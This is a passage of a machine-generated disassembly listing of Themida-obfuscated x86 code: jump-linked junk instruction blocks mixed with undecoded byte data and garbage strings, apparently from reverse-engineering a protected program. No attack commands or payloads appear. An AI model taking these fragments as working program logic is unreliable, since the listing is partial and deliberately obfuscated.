		dd 48136824h, 815B427Ch, 0AB56C3CBh, 8E3C179h, 5593CB81h
		dd 0BE565539h, 7C036BE2h, 0F53EEE81h, 0F3016689h, 0CDC3815Eh
		dd 0E9EB06B1h, 0FFFFDC7Ch
; ---------------------------------------------------------------------------


loc_59D720:				; CODE XREF: Themida_:0059DA45j
		mov	[esp], ecx
		push	edx
		mov	dh, 79h
		mov	cl, 42h
		jmp	loc_592196
; ---------------------------------------------------------------------------
		db 28h,	0FEh, 8Bh
		dd 0C483241Ch, 28F72C04h, 5AF704F0h, 0AC04C828h, 0FF6A27E9h
		dd 243C33FFh, 33243C31h, 0FF5C243Ch, 0B0E92434h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D757:				; CODE XREF: Themida_:0059D518j
		xor	[esp], ebx
		jmp	loc_5A359C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 24148B00h, 4C481h, 6D680000h, 89000076h
		dd 2168242Ch, 0E9000025h, 10EEh, 16E9CE81h, 0BB5372A6h
		dd 46155F78h, 0A172C381h, 0DE31FFA9h, 5EF2295Bh, 0BE56EA01h
		dd 517B25B4h, 13A7F681h, 0F2016322h, 0FF810AE9h
		db 0FFh
byte_59D7B1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00590900o
aHmm		db '$hŒM',0
		align 2
		dw 489h
		dd 4EC8324h, 83242489h,	0FF042404h, 81582434h, 4ECh, 3158E900h
		dd 56580000h, 1688E9h, 0BC28100h, 2976AE3Fh, 0BEA81EAh
		dd 5D76AE3Fh, 24148759h, 0FEEEE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D7F6:				; CODE XREF: Themida_:0059DC99j
		push	esi
		mov	esi, 460509C9h
		dec	esi
		sub	esi, 1E36031Bh
		or	eax, esi
		pop	esi
		shr	eax, 7
		push	258Ch
		jmp	loc_594475
; ---------------------------------------------------------------------------
		db 66h
		dd 74E9F789h, 54FFFF37h, 2F11E95Fh, 0CE860000h,	0FE7CC680h
		dd 54CEE9CEh, 0BB53FFFFh, 21B77574h, 5866E381h,	0E94B6CB9h
		dd 0FFFF36DCh
; ---------------------------------------------------------------------------


loc_59D840:				; CODE XREF: Themida_:0059437Fj
		pop	ebp
		add	[esp+8], ebp
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_597742
; ---------------------------------------------------------------------------


loc_59D856:				; CODE XREF: Themida_:005938F0j
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_595CE2
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 1Bh
		dd 813D1F3Dh, 0C13732C7h, 0E9F92913h, 0FFFFDBD2h
; ---------------------------------------------------------------------------


loc_59D878:				; CODE XREF: Themida_:005A04BBj
		pop	esi
		add	esi, 20A273ACh
		pop	edi
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_5954D4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5CBAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D892:				; CODE XREF: Themida_:005956B1j
		sub	ebx, 0E16CE663h
		jmp	loc_5912BB
; ---------------------------------------------------------------------------
a13SP		db '1,$3,$éÌP',0
		align 4


loc_59D8A8:				; CODE XREF: Themida_:0059D260j
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edi, ebx
		jmp	loc_5A4325
; ---------------------------------------------------------------------------


loc_59D8B8:				; CODE XREF: Themida_:0059D65Fj
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_591A5C
; ---------------------------------------------------------------------------


loc_59D8CB:				; CODE XREF: Themida_:005A48DBj
		sub	esi, eax
		pop	eax
		add	esi, edx
		push	eax
		jmp	loc_59CC03
; ---------------------------------------------------------------------------
		dw 3158h
		dd 0D7295BDAh, 8BFE895Ah, 8950243Ch, 4258E9E0h,	3C87FFFFh
		dd 34FF5C24h, 89535A24h, 0EC8155E3h, 4,	83243489h, 148904ECh
		dd 1FE6E924h, 0C7800000h, 0C0CFFE67h, 0DFE907EFh, 58000044h
		dd 75E7EA81h, 0F2290607h, 75E7C281h, 348B0607h,	1681E924h
		dd 34FF0000h, 0E5E95D24h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D937:				; CODE XREF: Themida_:005A2DD6j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A3383
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 7588C781h, 0EF81331Eh, 328D7068h, 8124348Bh,	4C4h, 5FF82100h
		dd 43EE9h, 0BCF78100h, 313B2825h, 4CB1E9F8h, 895CFFFFh
		dd 99B22414h, 0E9C4B450h, 0FFFF41B6h, 4AE9CD01h, 1FFFF55h
		dd 34FF59CAh, 0FBE95E24h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D98F:				; CODE XREF: Themida_:00594EF5j
		mov	[esp], ebx
		sub	dword ptr [esp], 671363C3h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B8C7
; ---------------------------------------------------------------------------
		dw 0EDD1h
		dd 84BCD81h, 0EDC10EF2h, 0B8504D03h, 54F111Dh, 0FF6543E9h
		dd 57E901FFh, 0A3058EBFh, 0E9F90156h, 0FFFF947Eh
; ---------------------------------------------------------------------------


loc_59D9D0:				; CODE XREF: Themida_:005A34DFj
		pop	ebx
		jmp	loc_598163
; ---------------------------------------------------------------------------
a3Sv		db '3,$é¢~',0
		align 2


loc_59D9DE:				; CODE XREF: Themida_:00590D9Ej
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59D02F
; ---------------------------------------------------------------------------


loc_59D9F0:				; CODE XREF: Themida_:0059D4C6j
		pop	ecx
		jmp	loc_590D9B
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 441AE924h, 0EC830000h, 241C8904h, 91250CBBh,	0E55EE921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DA0E:				; CODE XREF: Themida_:0059E071j
		mov	[esp], ebx
		mov	bl, 52h
		shr	bl, 5
		push	eax
		mov	al, 5Dh
		add	bl, al
		pop	eax
		add	ch, 20h
		add	ch, bl
		sub	ch, 20h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		sub	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	7383h
		jmp	loc_59D720
; ---------------------------------------------------------------------------
word_59DA4A	dw 0EB68h		; DATA XREF: Themida_:005907F0o
		dd 68000062h, 33FBh, 2AB468h, 3C37E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DA5E:				; CODE XREF: Themida_:005A0F98j
		sub	edi, 0FFFFFFFFh
		push	5709h
		mov	[esp], edx
		mov	edx, 51C75F94h
		dec	edx
		jmp	loc_5A48EA
; ---------------------------------------------------------------------------
		db 1
		dd 0D1C281EAh, 0E938F97Eh, 5950h, 0FE1471BDh, 0B1C58139h
		dd 294FC465h, 0B1ED81FDh, 5F4FC465h, 875DEB29h,	248B241Ch
		dd 6E7AE924h, 5451FFFFh, 4C18159h, 0E9000000h, 0FFFFCEA4h
; ---------------------------------------------------------------------------


loc_59DAB4:				; CODE XREF: Themida_:00593B83j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 298840E1h
		shl	ebp, 3
		dec	ebp
		push	ebx
		jmp	loc_5A4727
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0E6685204h, 89000002h, 4832424h,	0AEE90424h
		db 0F7h, 2 dup(0FFh)
byte_59DADF	db 0FFh			; DATA XREF: Themida_:00590A40o
		dd 669D1C77h, 1CD36659h, 0ACE99C24h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DAEF:				; CODE XREF: Themida_:0059576Fj
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		push	ecx
		jmp	loc_5A119D
; ---------------------------------------------------------------------------
		db 5
		dd 4, 42Dh, 9276E900h, 6658FFFFh, 5CDEE951h, 0E6C1FFFFh
		dd 0AEBD5504h, 4517C84Ah, 303DED81h, 0CD8159DEh, 4DA73D9Eh
		dd 8104E5C1h, 8C5223F5h, 5DEE291Eh, 0FFFFC681h,	0F681FFFFh
		dd 4AB471C2h, 54E9F089h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DB4B:				; CODE XREF: Themida_:005911B8j
		add	ebp, 4
		push	eax
		mov	eax, 39F47192h
		jmp	loc_59D26C
; ---------------------------------------------------------------------------
		dd 0B6ED8159h, 0F7613F4Bh, 4B951DDh, 31024234h,	3D80E9CDh
		dd 0C2830000h, 24143304h, 0FF4E9FE9h, 241487FFh, 47E32D5Ch
		dd 0F0013816h, 1647E305h, 17E95E38h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DB93:				; CODE XREF: Themida_:0059E296j
		pop	ebx
		sub	esi, 76C675B0h
		sub	esi, ebp
		add	esi, 76C675B0h
		jmp	loc_598528
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 240C8700h, 5258E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DBB5:				; CODE XREF: Themida_:005A4E3Dj
		mov	esi, esp
		jmp	loc_5A1DAD
; ---------------------------------------------------------------------------
		dd 33243431h, 895C2434h, 0BEB7241Ch, 0E9CAB450h, 0FFFF5453h
; ---------------------------------------------------------------------------


loc_59DBD0:				; CODE XREF: Themida_:00593516j
		push	edx
		mov	edx, 4
		push	edi
		mov	edi, 6392182Fh
		shr	edi, 5
		jmp	loc_5998BC
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDD0100h, 31242C33h, 2C33242Ch, 24248B24h, 0FF2E9EE9h
		db 0FFh
byte_59DBFD	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0059090Co
		dd 0ECBh
; ---------------------------------------------------------------------------


loc_59DC04:				; CODE XREF: Themida_:00599EC1j
		mov	ecx, [esp]
		jmp	loc_59276C
; ---------------------------------------------------------------------------


loc_59DC0C:				; CODE XREF: Themida_:005A2FFEj
		not	edx
		sub	edx, 32A6440Ch
		sub	ebp, edx
		pop	edx
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		jmp	loc_59561D
; ---------------------------------------------------------------------------
aBW		db '[Á',0Bh,'"W',0
		db 1
		dd 6119E9CAh, 74FFFFFFh, 8F5F0424h, 248B2404h, 2C38124h
		dd 33000000h, 1C31241Ch, 241C3324h, 0D324248Bh,	0E99C2424h
		dd 0FFFF2E37h, 42474FFh, 24048F5Bh, 0E924248Bh,	18F4h
		dd 0E924048Bh, 3FB7h, 46418A2Dh, 3CB82D28h, 0EC8346EAh
		dd 24148904h, 0E957E289h, 0FFFFB854h
; ---------------------------------------------------------------------------


loc_59DC94:				; CODE XREF: Themida_:00593F5Aj
		or	eax, 420D6D8Eh
		jmp	loc_59D7F6
; ---------------------------------------------------------------------------


loc_59DC9E:				; CODE XREF: Themida_:00592296j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59FA09
; ---------------------------------------------------------------------------


loc_59DCBA:				; CODE XREF: Themida_:005A11CCj
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 740D04C9h
		push	ecx
		jmp	loc_592515
; ---------------------------------------------------------------------------


loc_59DCEF:				; CODE XREF: Themida_:005A1F0Aj
		not	ecx
		jmp	loc_5916B9
; ---------------------------------------------------------------------------


loc_59DCF6:				; CODE XREF: Themida_:0059CDABj
		or	ecx, ebx
		pop	ebx
		xor	ecx, 0E1E4AEFh
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, ebx
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_59728C
; ---------------------------------------------------------------------------
		dd 17CEBD55h, 0D14D3076h, 0DEED81EDh, 8114F6C7h, 1E5989EEh
		dd 81EE2977h, 1E5989C6h, 0EE815D77h, 47853C1Ah,	0E951FE01h
		dd 4D05h, 1261E1BBh, 0E5A0E968h, 0E089FFFFh, 405h, 4BD5500h
		dd 1000000h, 8AE95DE8h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DD67:				; CODE XREF: Themida_:00592B2Dj
		xor	ebp, edx
		jmp	loc_595EE1
; ---------------------------------------------------------------------------


loc_59DD6E:				; CODE XREF: Themida_:005A2B30j
		push	4CF448C4h
		mov	ecx, [esp]
		jmp	loc_591E8A
; ---------------------------------------------------------------------------
		db 89h
		dd 5ED9E9E0h, 0C89FFFFh, 5ACDE924h, 815B0000h, 0D413E4C7h
		dd 81EF017Dh, 0D413E4EFh, 70E95D7Dh, 0B000054h,	0E7840FC0h
		dd 0FF000059h, 34FF1C77h, 240C8B24h, 0FF83E3E9h, 243C89FFh
		dd 1BFh, 5FFE0100h, 0CE87D6F7h,	42E9D1F7h, 50FFFFC8h, 0C6685652h
		dd 5E1DC555h, 60D7CE81h, 0B9516E46h, 1C34409Ah,	353DC181h
		dd 0CE316393h, 2C815659h, 0EA67A424h, 0C5E95A2Bh, 89000048h
		dd 0E3E92424h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DDFF:				; CODE XREF: Themida_:005968B7j
		or	bl, 71h
		push	edx
		mov	dl, 5Eh
		shl	dl, 7
		shr	dl, 8
		jmp	loc_59D4FD
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF50100h, 8B242C87h, 8DE92424h, 58FFFF6Bh, 0FFC2B5E9h
		dd 0EBC059FFh, 0D4E38008h, 8086E380h, 0C3807BCBh, 8989E9EBh
		dd 0D8F7FFFFh, 2E04842Dh, 6E8C176h, 7B41802Dh, 0BC132D3Bh
		dd 0C58980C9h, 0F6E9E958h, 5352FFFFh, 0AEB6ECB7h, 865BFE00h
		dd 86D0F6C6h, 535066C6h, 0E7E9CF88h, 1FFFF2Fh, 3E41E9F0h
		dd 0F930FFFFh, 785EE9h,	4C48300h, 81E18951h, 4C1h, 33BB5300h
		dd 5544C32Ch, 0C5206BDh, 4E5C114h, 114EC581h, 0EB29E2E8h
		dd 0D5F3815Dh, 563E0143h, 1F22AEBEh, 0D6F74E20h, 8106E6C1h
		dd 4D6431C6h, 0F8CE8158h, 0E94BB33Fh, 0FFFFECC7h
; ---------------------------------------------------------------------------


loc_59DEC8:				; CODE XREF: Themida_:00591DC2j
		xchg	ebx, [esp]
		pop	esp
		push	4EBAh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5940BD
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0BAh
		dd 0BDA3E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DEEA:				; CODE XREF: Themida_:005A236Fj
		push	60DEh
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_593E20
; ---------------------------------------------------------------------------
		dd 6858E328h, 13E6h, 52241C89h,	0C281E289h, 4, 0FFD0D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DF29:				; CODE XREF: Themida_:005A017Bj
		mov	ebx, edx
		pop	edx
		xor	ebx, 0D6E0E55h
		xor	eax, ebx
		jmp	loc_5A421C
; ---------------------------------------------------------------------------
		db 1, 0D8h, 2Dh
		dd 7F304BE5h, 543ABF57h, 0EF81165Eh, 0DB182C4Bh, 8B5FF829h
		dd 0C483241Ch, 2BB5304h, 68000000h, 52F5h, 0E9241489h
		dd 418Fh, 5702E8C1h, 104085BFh,	0E9F801C0h, 0FFFFEA81h
		dd 0E9DBF75Eh, 0FFFF2C35h, 8124348Bh, 4C4h, 6800h, 2C290000h
		dd 0F5815D24h, 27E42ABh, 8D5CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DF9E:				; CODE XREF: Themida_:005A4CC0j
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59DFC1:				; CODE XREF: Themida_:00597AFFj
		pop	esp
		or	ebx, 486F28B0h
		shl	ebx, 3
		neg	ebx
		push	edi
		mov	edi, 31EA24DAh
		xchg	ebp, edi
		jmp	loc_5A5219
; ---------------------------------------------------------------------------
		dw 8359h
		dd 2C8704EDh, 771AE924h, 14890000h, 56A5BA24h, 0D1290202h
		dd 59CA015Ah, 290ABF57h, 0E9974984h, 382Fh
; ---------------------------------------------------------------------------


loc_59E000:				; CODE XREF: Themida_:0059CCCBj
		add	esi, ebx
		sub	esi, 1F9214Eh
		pop	ebx
		add	esi, 4
		jmp	loc_59C7C9
; ---------------------------------------------------------------------------
		dd 2C481h, 0D0000000h, 0E92434FFh, 6B4Dh, 0E904C483h, 33D1h
		dd 0C12497B8h, 5D8F765h, 65C1249Bh, 7F78C381h, 0C3016927h
		dd 7F78EB81h, 0E9586927h, 4D22h, 0BF6814Eh, 8171C901h
		dd 0EF007AEEh, 0A0EA8193h, 130563Fh, 316BE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E066:				; CODE XREF: Themida_:0059C311j
		add	esp, 2
		push	2119h
		jmp	loc_59DA0E
; ---------------------------------------------------------------------------


loc_59E076:				; CODE XREF: Themida_:00591FC0j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A087B
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 6DEA6E3Dh, 1966EB81h, 0C8B0D4Fh, 4C48324h, 31241C33h
		dd 1C33241Ch, 4FF5C24h,	0D8E99C24h, 59FFFF29h, 0FF8498E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E0C9:				; CODE XREF: Themida_:00592767j
		add	esp, 4
		jmp	loc_59931D
; ---------------------------------------------------------------------------


loc_59E0D1:				; CODE XREF: Themida_:00598BCDj
		pop	ebx
		jmp	loc_5932E3
; ---------------------------------------------------------------------------


loc_59E0D7:				; CODE XREF: Themida_:0059B03Aj
		add	esi, 0A58D9B1Eh
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		jmp	loc_5A2D65
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF6CBBE9h
		db 0FFh
byte_59E0F5	db 0FFh, 77h, 3Ch	; DATA XREF: Themida_:0059091Co
		dd 0FF2434FFh, 32E92434h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E103:				; CODE XREF: Themida_:005A3F56j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_599109
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 248B2434h, 24042124h, 9DACE99Ch, 0EA81FFFFh
		dd 74B152A4h, 31D6E9h, 0FFEA8100h, 0E9FFFFFFh, 17BEh, 0E905E3C1h
		dd 0FFFF310Eh, 4EC835Ch, 0BA241489h, 22DB6328h,	0FF90C6E9h
		dd 642D59FFh, 0E9635330h, 20CBh, 0E951D8F7h, 0FFFFDC0Ah
		dd 0C681E689h, 4, 11F4BB53h, 0DBF71AE8h, 0D3F7DBF7h, 1C381h
		dd 0F3810000h, 0E517EE08h, 875BDE29h, 248B2434h, 24048924h
		dd 77FEBB53h, 0BA5253DBh, 53DB77FAh, 895AD329h,	241C8BD8h
		dd 8104C483h, 0BE7CA5EEh, 74C68149h, 118623Bh, 1CB1E9C6h
		dd 0E2C00000h, 14C28004h, 0FF42E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E1CD:				; CODE XREF: Themida_:00591A03j
		push	48D9h
		mov	[esp], ebp
		push	0A7F277Ah
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59E833
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 88h
		dd 35FFFF9Eh, 7ECB99BBh, 0FF4586E9h, 0E9D1F7FFh, 77AEh
		dd 0E95EF101h, 0FFFF6F16h, 4246C81h, 0D9E6E0Ch,	4246C01h
		dd 4244481h, 0D9E6E0Ch,	4244481h, 40942B4h, 83242C8Bh
		dd 348B04C4h, 4C48324h,	4B951h,	0DFE90000h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E237:				; CODE XREF: Themida_:0059A198j
		add	esi, ebx
		jmp	loc_5A2495
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 27F968h, 240C8900h, 2BF57h, 0F8E90000h, 66000001h
		dd 8124148Bh, 2C4h, 4F02800h, 0EC835AA2h, 240C8904h, 18DAE9h
		dd 81E38900h, 4C3h, 4C38100h, 87000000h, 835C241Ch, 48904ECh
		dd 3CE95424h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E28F:				; CODE XREF: Themida_:0059D674j
		mov	ebx, 7F32E4Fh
		add	esi, ebx
		jmp	loc_59DB93
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF27FBh, 83E9F201h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E2A7:				; CODE XREF: Themida_:00594C16j
		shl	esi, 1
		neg	esi
		add	esi, 5EE2DFFh
		xor	edx, esi
		jmp	loc_593255
; ---------------------------------------------------------------------------
		dd 405E089h, 2D000000h,	4, 5C240487h, 68240C89h, 4, 59CB0159h
		dd 0FF5C62E9h, 24048FFFh, 2404315Ch, 0FF27B6E9h, 9C5066FFh
		dd 0FF27AEE9h, 243487FFh, 3124248Bh, 0E99C2404h, 0FFFF279Fh
		dd 0E92434FFh, 0FFFF7911h
; ---------------------------------------------------------------------------


loc_59E304:				; CODE XREF: Themida_:0059E982j
		push	eax
		jmp	loc_5938BF
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 74FF565Dh, 8F5E0424h, 4EE92404h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E31B:				; CODE XREF: Themida_:005A5762j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A2620
; ---------------------------------------------------------------------------


loc_59E32A:				; CODE XREF: Themida_:0059C4D3j
		neg	edx
		jmp	loc_5A4C50
; ---------------------------------------------------------------------------
		db 88h,	0FAh, 0E9h
		dd 6E3h, 67BA525Dh, 810E0519h, 0D065E9CAh, 6E2C14Eh, 0ACE9DAF7h
		db 1Ah,	2 dup(0)
byte_59E34F	db 66h			; DATA XREF: Themida_:00590944o
		dd 5624048Bh, 0C681E689h, 4, 4EE81h, 34330000h,	24343124h
		dd 8B243433h, 2C892424h, 81E58924h, 4C5h, 4ED8100h, 33000000h
		dd 2C31242Ch, 0F64CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E38A:				; CODE XREF: Themida_:00594EBDj
		push	edx
		mov	edx, 79C035Bh
		jmp	loc_5964AF
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 13h
		dd 0E91D857Dh, 0FFFF395Ch, 0E9243487h, 0FFFFCCAAh
; ---------------------------------------------------------------------------


loc_59E3A8:				; CODE XREF: Themida_:00595F87j
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		jmp	loc_5A5850
; ---------------------------------------------------------------------------


loc_59E3B5:				; CODE XREF: Themida_:0059828Aj
		push	edx
		mov	edx, 4
		jmp	loc_5936B8
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 3BDBh, 24048B66h
		dd 4D02E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E3DD:				; CODE XREF: Themida_:005926E6j
		sub	eax, 2DBA5A7Ah
		jmp	loc_595F7A
; ---------------------------------------------------------------------------


loc_59E3E7:				; CODE XREF: Themida_:00598FDBj
		push	23BC2158h
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_592087
; ---------------------------------------------------------------------------


loc_59E406:				; CODE XREF: Themida_:005977CDj
		add	ecx, 39611DDEh
		add	ecx, ebx
		sub	ecx, 39611DDEh
		jmp	loc_5A59E9
; ---------------------------------------------------------------------------


loc_59E419:				; CODE XREF: Themida_:005961D0j
		neg	ecx
		shr	ecx, 7
		inc	ecx
		sub	ecx, 10D2593Ch
		jmp	loc_596D95
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 0DD015FFBh, 0FF3CF0E9h, 24248BFFh, 0E9E08950h, 7260h
		dd 6EDC15Eh, 2E22F581h,	1EE91B12h, 89000022h, 78F0E9F9h
		dd 0F781FFFFh, 7B6433DFh, 835FF801h, 48704E8h, 24895C24h
		dd 68A96824h, 4AE90000h, 8900004Fh, 0E6892434h,	4C681h
		dd 0C6810000h, 4, 0E9243487h, 0FFFF7F64h, 0C781E789h, 4
		dd 4C781h, 3C870000h, 0EA815C24h, 0D8331D0h, 8124048Bh
		dd 4C4h, 8BD03100h, 0C4832414h,	66C33104h, 0DCE9008Fh
		dd 5BFFFF25h, 4C381h, 0EC810000h, 4, 57242C89h,	0FE146DBFh
		dd 0F5AAE939h, 48BFFFFh, 4C48124h, 0E9000000h, 0FFFFA09Eh
		dd 3302C083h, 4312404h,	24043324h, 48B665Ch, 39456824h
		dd 34890000h, 4EC8324h,	83242489h, 0E9042404h, 0FFFFA48Bh
		dd 4BB53h, 0D8010000h, 83241C8Bh, 2C8904ECh, 50E58924h
		dd 4B8h, 58C50100h, 8704C583h, 875C242Ch, 0FF5C2404h, 0E99C240Ch
		dd 0FFFF255Bh, 57D2F75Dh, 0C2EB35BFh, 0B67FE9F4h, 0EC83FFFFh
		dd 24148904h, 8904EC83h, 15E9240Ch
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E55F:				; CODE XREF: Themida_:0059A6B1j
		xor	edx, ecx
		pop	ecx
		jmp	loc_591FB2
; ---------------------------------------------------------------------------


loc_59E567:				; CODE XREF: Themida_:0059BC46j
		pop	ebx
		inc	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_594A6A
; ---------------------------------------------------------------------------
aZslm		db 'Zé‹M',0
		db 0
; ---------------------------------------------------------------------------


loc_59E57D:				; CODE XREF: Themida_:005970BDj
		or	eax, 6E70444Fh
		shl	eax, 3
		xor	eax, 5559320Ah
		add	ebx, eax
		jmp	loc_597AAA
; ---------------------------------------------------------------------------
		db 1, 0CAh, 8Bh
		dd 0C481240Ch, 4, 8B241487h, 0F0312424h, 5E2434FFh, 0E904C483h
		dd 1856h, 5253D4F6h, 50E58851h,	0C288E888h, 8124048Bh
		dd 4C4h, 2573E900h, 0CB80FFFFh,	4E3C088h, 30A3B151h, 0DA8859CBh
		dd 80DAF65Bh, 73E9FFC2h, 5EFFFFC9h, 5C24048Fh, 0FF4715E9h
		dd 5FF901FFh, 0FF6532E9h, 0E9CE01FFh, 0FFFF6BACh
; ---------------------------------------------------------------------------


loc_59E5FC:				; CODE XREF: Themida_:00594CEFj
		pop	esp
		jmp	loc_5A3FE3
; ---------------------------------------------------------------------------
		dw 0DD89h
		dd 0AFBA525Bh, 81096210h, 8CF40CEAh, 0A37EE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E616:				; CODE XREF: Themida_:005971B4j
		inc	ebx
		push	eax
		jmp	loc_5A34C5
; ---------------------------------------------------------------------------


loc_59E61D:				; CODE XREF: Themida_:005A2B89j
		mov	eax, 78912B80h
		shr	eax, 3
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4C63AB9h
		xor	ebp, 2C2D4FE4h
		sub	ebp, 3F7E4AD4h
		sub	ebp, 0E2D5EEA0h
		add	eax, ebp
		pop	ebp
		xor	eax, 54805E1Ah
		xor	edx, eax
		pop	eax
		and	edi, edx
		pop	edx
		sub	edi, 18B3A685h
		jmp	loc_5A0C93
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0E189240Ch, 4C181h
		dd 0BF570000h, 4, 335FF929h, 0C31240Ch,	240C3324h, 243C895Ch
		dd 0FF674CE9h, 0E95758FFh, 0FFFFF5A6h
; ---------------------------------------------------------------------------


loc_59E698:				; CODE XREF: Themida_:00599132j
		sub	ebp, 45703174h
		sub	ebp, ecx
		add	ebp, 45703174h
		jmp	loc_595101
; ---------------------------------------------------------------------------
		dd offset dword_455248+3E20h
		align 10h
		dd 89243489h, 4BF57E6h,	50000000h, 34455BB8h, 58C60159h
		dd 5000EE81h, 0FE014B8Eh, 50B8B850h, 0E1E914B7h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E6D7:				; CODE XREF: Themida_:00594C2Cj
		add	ebp, 4
		push	eax
		mov	eax, 710F204Ch
		push	edi
		mov	edi, 43CE7264h
		add	eax, edi
		pop	edi
		shr	eax, 2
		shl	eax, 4
		jmp	loc_59A9CE
; ---------------------------------------------------------------------------


